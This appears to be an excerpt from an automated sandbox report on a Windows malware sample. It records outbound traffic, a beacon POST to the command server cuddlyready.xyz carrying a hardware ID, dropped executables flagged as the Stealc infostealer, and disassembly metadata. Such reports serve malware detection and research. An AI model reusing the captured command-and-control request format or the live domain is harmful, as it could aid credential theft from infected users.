2024-12-23 07:53:06 UTC	15331	OUT	Data Raw: a0 90 e7 41 73 bd 63 6b dc e4 ea f5 e7 19 75 d5 1f f8 eb d5 77 ae 0d 95 ec 43 83 8c fa b9 50 e1 b3 42 c0 a7 af ef 61 ed 7c b5 2c a8 ba 51 e9 b0 0f 0d 1b 18 20 ad a9 9e 5f 9b af c9 4b a6 7f ed 33 c4 a7 38 21 0d ef 42 d4 b3 79 70 52 a0 dd 71 7d ee 2a 04 d6 67 91 8a 84 74 4d b9 d4 42 90 b4 17 05 d7 71 3f ca 2d 33 6f 74 f8 fc 78 5f 44 b2 10 66 ee ba 3e 31 b5 fa 52 76 51 7d 90 a8 fd 58 21 fe d9 71 d7 c9 e2 d9 ca c3 09 0d d7 ea 99 f2 4b 55 9f 8e 86 5e 78 d0 d8 fd 71 41 57 7b c2 a7 e5 4b 84 85 e8 e6 98 36 69 70 98 b6 f8 d6 46 95 74 e8 bd 32 af 2f f2 a6 00 3c 44 d3 fe f9 df 09 a1 8d 3b 91 c5 f6 10 05 d4 31 4d fe 3c 29 3d 70 97 42 dd c3 73 78 83 2d c1 23 dd 8c 6a 3e 02 2e a9 e9 62 80 97 21 e2 91 93 10 31 04 96 ff a6 bc 07 d5 49 e8 56 f3 08 a3 c5 e3 10 e9 b7 c2 2d Data Ascii: AsckuwCPBa\|,Q _K38!BypRq}*gtMBq?-3otx_Df>1RvQ}X!qKU^xqAW{K6ipFt2/<D;1M<)=pBsx-#j>.b!1IV-
2024-12-23 07:53:06 UTC	15331	OUT	Data Raw: f9 54 ff ba c1 44 3c 88 d1 12 6f e1 31 2f dc 3d e6 b3 07 bf b4 79 f3 20 9f 71 57 88 cb dc fa 2c 49 b4 95 f0 95 84 44 f3 73 75 ec 4a cb 3d 68 8a d8 83 da 17 73 cf ac 4f 5a fb 6e 8d 40 85 d5 72 83 f5 41 8f 56 6c e8 3f 0b d8 80 51 e6 48 7a 5f 8a 07 cb ff a6 71 5a 79 9b 85 03 44 a2 bd 9d ef 79 16 9d 62 cd e9 35 2f ef 47 df c8 1f e0 bb f3 4a 69 46 61 ea bc 89 c1 f1 9e ad c6 b3 2e 6f d3 54 dc 21 d2 b8 d0 f6 4e 6e f7 ff 46 42 70 49 61 3b b6 35 d7 56 1b 46 78 56 1b 40 27 8a 39 6a 03 2d 54 51 27 8c ef 38 c5 d6 8b a9 f5 2c 76 3b ce e9 49 cb f9 d5 13 d0 b7 15 37 00 c7 c5 1f 00 4a 98 27 13 8a 30 0a f8 11 b5 f8 0a 7b 14 b8 b1 1c e3 08 d6 ab af e1 ba c3 d6 7b 7f 09 23 eb 75 65 27 71 98 49 6d 99 bb 9b 2b 96 2e 86 da 33 96 f6 ef 79 17 45 fa 42 1d fb 71 97 20 ff e2 11 e6 Data Ascii: TD<o1/=y qW,IDsuJ=hsOZn@rAVl?QHz_qZyDyb5/GJiFa.oT!NnFBpIa;5VFxV@'9j-TQ'8,v;I7J'0{{#ue'qIm+.3yEBq
2024-12-23 07:53:06 UTC	15331	OUT	Data Raw: 4b 02 a2 6a b1 0a 1c 8f 87 5d 2c 93 23 26 bc 38 d6 f0 da f9 58 99 22 88 e3 83 a9 43 4a f8 9e 12 b0 85 45 24 b7 8b 96 15 e1 85 0e b3 56 84 5f bb 16 fd 6b 6a 0a 6a 39 0a f8 50 72 46 c9 3b 1a 1a e7 bc 96 2e 33 52 b7 47 72 bb 53 69 51 8a 62 b3 ca fd 60 5c e7 97 b0 92 14 c5 14 3b a1 05 71 de f7 f1 aa c1 77 4a 19 9f 0c b5 82 2f f5 03 5a 1e b1 d0 c4 c6 1f 01 3f 64 15 3a 2e 63 b1 21 f1 c2 7a ad de af e5 59 39 1b 6b c7 e4 78 55 13 3a 2e ec b3 98 f6 a7 c4 89 ee 33 1e 1c 21 28 c3 f6 35 bf 24 91 de e4 61 79 75 cb cc c7 6d 0f 01 91 41 dd 26 62 32 f0 50 40 fd 22 44 d5 7b e2 09 1c 9e ac 59 b2 9b 02 43 5f c8 21 d6 f9 c1 60 a0 b1 27 fb c1 6e d5 4e 55 91 d3 c3 26 a7 d1 42 18 9b f0 ca ed 5b fe e3 00 d6 e0 b1 44 98 12 22 22 9a d5 70 d0 b5 15 7b 56 ce e2 e6 74 3f b9 02 23 67 Data Ascii: Kj],#&8X"CJE$V_kjj9PrF;.3RGrSiQb`\;qwJ/Z?d:.c!zY9kxU:.3!(5$ayumA&b2P@"D{YC_!`'nNU&B[D""p{Vt?#g
2024-12-23 07:53:06 UTC	15331	OUT	Data Raw: c3 e3 9f bd b1 cd ae d1 95 c8 fb 44 28 55 88 c2 51 0c b8 ef b9 f5 06 08 41 cc c7 44 bb c2 22 ad 54 46 60 30 96 34 05 97 28 f5 3c 84 58 4f f6 50 98 e7 70 49 f1 d3 81 19 dd ec 6a ce ad c2 1c 80 b7 4b 6c 5b 8c d5 a9 23 e7 8f ca a9 b4 c8 8b 68 e3 bf 7a 01 53 e3 71 1d 28 b3 d1 6f 86 4b ee 43 1d cb 21 74 df db 44 3f 50 cd 55 45 45 dd 56 1c e3 bb 05 a6 91 99 51 de 36 95 05 93 e1 f4 aa b6 b6 ac 42 8b 76 4c 8a 87 29 b1 cb ab a2 5f 5a 99 18 3d f5 ab d7 7b ff ed 63 39 59 66 a6 ce e3 26 ad da 1a 97 f1 06 b1 e3 d5 b8 e6 e4 bb 24 96 80 6c b3 c0 05 5d 09 2f f3 fd 5d aa 1a 9d 29 37 e0 5b 71 18 e4 fa 6f 9d e7 1c 49 de 8b 86 08 71 ba c8 7d 97 a3 e3 98 97 17 ea 1e 18 08 be e5 56 1c 9b d2 72 a6 3b 7d 78 41 38 af 8e 08 1c 7e 7e 04 de fa d5 fb 74 c1 7c 8b 87 19 bd 15 f0 53 71 Data Ascii: D(UQAD"TF`04(<XOPpIjKl[#hzSq(oKC!tD?PUEEVQ6BvL)_Z={c9Yf&$l]/])7[qoIq}Vr;}xA8~~t\|Sq
2024-12-23 07:53:08 UTC	1135	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:53:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=82pte6e5jj7pec6qvnn6pe4mt4; expires=Fri, 18 Apr 2025 01:39:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3B2AuKYEm4Nw3PPek3GU8kHNhhsc%2FoRPGrExJcA3iAjEMyyCTIRCrvuvOe0XdOhiKkzs%2FSFhhiI2DqB%2FG5WWtUxqyGb8Yoqs%2BzaqiAN2fI17vpLfV7AdB9Y2sq%2FLipMVkQE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f66c6a83d550f9f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1602&min_rtt=1599&rtt_var=602&sent=350&recv=611&lost=0&retrans=0&sent_bytes=2835&recv_bytes=587667&delivery_rate=1826141&cwnd=213&unsent_bytes=0&cid=9274960a03f2bdce&ts=2424&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.9	49771	104.21.32.96	443	1380	C:\Users\user\Desktop\FBVmDbz2nb.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:53:10 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 82 Host: cuddlyready.xyz
2024-12-23 07:53:10 UTC	82	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d 26 68 77 69 64 3d 33 35 37 42 44 31 30 32 36 36 31 35 35 32 31 30 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=PsFKDg--pablo&j=&hwid=357BD10266155210AC8923850305D13E
2024-12-23 07:53:10 UTC	1119	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:53:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gvvhrrtg9bbk20l81td1f6nlae; expires=Fri, 18 Apr 2025 01:39:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rEbGdIsfTLBll6qR4Tqpuj%2FOROYAJVsZUscoQefCNGJFmwzRLxH1CcZrHPgs7OcOVf9QN26bXRqYoi0XMKxhBW1BmwgWzI91JAASYLyeZIzMzuUyXtcdEMyuKIFCZ4YQG6s%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f66c6bff98942d1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1572&min_rtt=1563&rtt_var=605&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2837&recv_bytes=981&delivery_rate=1780487&cwnd=194&unsent_bytes=0&cid=57afc469e6de6d5b&ts=762&x=0"
2024-12-23 07:53:10 UTC	214	IN	Data Raw: 64 30 0d 0a 74 59 4a 4d 4f 50 39 72 59 6d 54 34 57 59 75 78 71 5a 31 57 50 44 6f 47 35 66 41 59 57 6b 6e 77 6a 6f 6b 79 50 43 4a 62 46 63 33 75 2b 57 35 4e 33 56 46 41 44 49 77 74 2b 34 76 31 73 67 6f 54 43 7a 37 51 33 69 70 72 66 4e 36 2f 75 41 45 53 45 32 31 4a 34 74 72 6b 4b 6d 54 51 44 77 63 43 31 6a 7a 7a 31 49 75 78 64 46 70 4f 4a 4e 2f 41 4e 48 67 73 30 72 53 35 54 78 42 5a 65 57 44 76 6a 36 41 6b 54 49 73 62 57 44 6a 58 42 61 53 41 6b 61 68 34 44 67 73 7a 79 38 45 70 61 57 66 42 75 4e 55 64 54 31 59 2b 64 4b 44 70 72 54 35 5a 6b 51 38 4e 43 64 59 38 38 39 53 4c 73 58 52 61 54 69 54 66 77 44 52 34 4c 4e 4b 30 75 55 39 68 0d 0a Data Ascii: d0tYJMOP9rYmT4WYuxqZ1WPDoG5fAYWknwjokyPCJbFc3u+W5N3VFADIwt+4v1sgoTCz7Q3iprfN6/uAESE21J4trkKmTQDwcC1jzz1IuxdFpOJN/ANHgs0rS5TxBZeWDvj6AkTIsbWDjXBaSAkah4Dgszy8EpaWfBuNUdT1Y+dKDprT5ZkQ8NCdY889SLsXRaTiTfwDR4LNK0uU9h
2024-12-23 07:53:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	02:52:48
Start date:	23/12/2024
Path:	C:\Users\user\Desktop\FBVmDbz2nb.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\FBVmDbz2nb.exe"
Imagebase:	0xbc0000
File size:	1'857'536 bytes
MD5 hash:	09B1BB35206793151B49F63777B91054
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:53:16
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe"
Imagebase:	0x2b0000
File size:	2'765'312 bytes
MD5 hash:	579641D4119C3977AA3E5FDCBB740D8B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:53:21
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe"
Imagebase:	0x530000
File size:	2'835'456 bytes
MD5 hash:	59729E914FA8E15D347129643C03AC1F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000003.1701899059.0000000004D40000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000002.1756467300.0000000000531000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000002.1758332356.000000000118C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Function 01587835 Relevance: .4, Instructions: 443COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1513730507.0000000001583000.00000004.00000020.00020000.00000000.sdmp, Offset: 01583000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_1583000_FBVmDbz2nb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a56b84d78ef1e4d4f651f869cb223e54e797455be12dd764db0d5b26f5b2bae1
Instruction ID: 22bf6c44291f670e5aca1c556b63b36641482427c4ac623d08ffd2ec2e65ac6d
Opcode Fuzzy Hash: a56b84d78ef1e4d4f651f869cb223e54e797455be12dd764db0d5b26f5b2bae1
Instruction Fuzzy Hash: 9FF131A244E3C15FC7138B709C69595BFB5AE27110B2E86DBC8C1CF4A3E249994AC763

Function 015D2134 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1644387683.00000000015B5000.00000004.00000020.00020000.00000000.sdmp, Offset: 015B5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_15b5000_FBVmDbz2nb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2575b1a7335e21168eda7104cc325aa9d9e5517c9b456560b70a4c47dd478470
Instruction ID: 989e285b74805e8f47788d5a3c4ef9861f29a51287a90bd5c87608879ed8bd34
Opcode Fuzzy Hash: 2575b1a7335e21168eda7104cc325aa9d9e5517c9b456560b70a4c47dd478470
Instruction Fuzzy Hash: 9641806204E3D14FC7138B3888B9AA2BFB0BE1722470E86CED4C18F4A3E3695556D752

Function 0160C3DE Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1644354224.0000000001600000.00000004.00000020.00020000.00000000.sdmp, Offset: 01607000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_15eb000_FBVmDbz2nb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3ce80dedd8e38b8e4bef2224ae538a89a90083d61d83b2b606c8074c0c62374
Instruction ID: bf90d3b38a2dbf50fbd753a624b1cbaba00e840f69b05effb559590b58203d93
Opcode Fuzzy Hash: f3ce80dedd8e38b8e4bef2224ae538a89a90083d61d83b2b606c8074c0c62374
Instruction Fuzzy Hash: 30B0112A0002028FCB8A2F88C08A0C033E0FE822203A380C0C02A0F020EA2A082FC3A0

Analysis Process: 225E7CNEQKY05J8BSS2KINA.exePID: 3556, Parent PID: 1380COMMON

Execution Graph

Execution Coverage:	3.2%
Dynamic/Decrypted Code Coverage:	29%
Signature Coverage:	0%
Total number of Nodes:	31
Total number of Limit Nodes:	2

Executed Functions

Function 004389CE Relevance: 1.5, APIs: 1, Instructions: 31fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,EC467FF7,?), ref: 00438A22

Memory Dump Source

Source File: 00000003.00000002.1779034696.0000000000434000.00000040.00000001.01000000.00000006.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000003.00000002.1778504081.00000000002B0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1778568041.00000000002B2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1778614388.00000000002B6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1778649147.00000000002BA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1778685583.00000000002C4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1778717287.00000000002C5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1778750708.00000000002C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1778900771.0000000000417000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1778933331.000000000041A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1778973361.0000000000432000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779003316.0000000000433000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779034696.000000000043D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779101451.0000000000447000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779130347.0000000000449000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779160132.0000000000452000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779195902.0000000000459000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779230017.000000000046F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779262039.0000000000480000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779294954.000000000048E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779327727.0000000000492000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779356531.0000000000493000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779397517.0000000000495000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779436417.00000000004A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779470920.00000000004AA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779500413.00000000004AB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779530003.00000000004B0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779559608.00000000004B1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779601088.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779635962.00000000004C7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779669096.00000000004CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779704339.00000000004CB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779749886.00000000004D2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779787173.00000000004DA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779823610.00000000004DB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779853646.00000000004DC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779885277.00000000004E3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779916678.00000000004F2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779951877.00000000004F4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779988062.00000000004F5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780020286.00000000004F8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780050658.0000000000501000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780080612.0000000000502000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780130463.000000000053D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780162660.000000000053E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780192422.000000000053F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780192422.0000000000547000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780262160.0000000000556000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780293146.0000000000558000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2b0000_225E7CNEQKY05J8BSS2KINA.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 35aa7f6d77c866b1064840e61cd4d0714de5670619513521bb526f64ba3624ff
Instruction ID: 337486678799cbb669f74ebf10b8816ec272f635051c9edc1577e420819c7e6b
Opcode Fuzzy Hash: 35aa7f6d77c866b1064840e61cd4d0714de5670619513521bb526f64ba3624ff
Instruction Fuzzy Hash: 1AF08CB301C2496FE318EF159800EBEB398DA88231F75410FF84093501DA396D048B7D

Function 002BB96C Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1778649147.00000000002BA000.00000040.00000001.01000000.00000006.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000003.00000002.1778504081.00000000002B0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1778568041.00000000002B2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1778614388.00000000002B6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1778685583.00000000002C4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1778717287.00000000002C5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1778750708.00000000002C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1778900771.0000000000417000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1778933331.000000000041A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1778973361.0000000000432000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779003316.0000000000433000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779034696.0000000000434000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779034696.000000000043D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779101451.0000000000447000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779130347.0000000000449000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779160132.0000000000452000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779195902.0000000000459000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779230017.000000000046F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779262039.0000000000480000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779294954.000000000048E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779327727.0000000000492000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779356531.0000000000493000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779397517.0000000000495000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779436417.00000000004A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779470920.00000000004AA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779500413.00000000004AB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779530003.00000000004B0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779559608.00000000004B1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779601088.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779635962.00000000004C7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779669096.00000000004CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779704339.00000000004CB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779749886.00000000004D2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779787173.00000000004DA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779823610.00000000004DB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779853646.00000000004DC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779885277.00000000004E3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779916678.00000000004F2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779951877.00000000004F4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779988062.00000000004F5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780020286.00000000004F8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780050658.0000000000501000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780080612.0000000000502000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780130463.000000000053D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780162660.000000000053E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780192422.000000000053F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780192422.0000000000547000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780262160.0000000000556000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780293146.0000000000558000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2b0000_225E7CNEQKY05J8BSS2KINA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d16936487a9306aa7f1cffd9fa777b207ed5df1b54463522fede65cc313bda8
Instruction ID: 1e62fec0c530aa9820964464a91ea9837f43650fcb25608f3846368a24f1e171
Opcode Fuzzy Hash: 7d16936487a9306aa7f1cffd9fa777b207ed5df1b54463522fede65cc313bda8
Instruction Fuzzy Hash: 82A002312BD981D88513A3B655215AC7A7048597C0B260C4793D68A543CBC550645FBA

Function 00442E09 Relevance: 4.6, APIs: 3, Instructions: 104
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 004445D0
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 004445F7
GetNativeSystemInfo.KERNELBASE(?), ref: 0044464E

Memory Dump Source

Source File: 00000003.00000002.1779034696.000000000043D000.00000040.00000001.01000000.00000006.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000003.00000002.1778504081.00000000002B0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1778568041.00000000002B2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1778614388.00000000002B6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1778649147.00000000002BA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1778685583.00000000002C4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1778717287.00000000002C5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1778750708.00000000002C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1778900771.0000000000417000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1778933331.000000000041A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1778973361.0000000000432000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779003316.0000000000433000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779034696.0000000000434000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779101451.0000000000447000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779130347.0000000000449000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779160132.0000000000452000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779195902.0000000000459000.00000040.00000001.01000000.00000006.sdmpDownload File
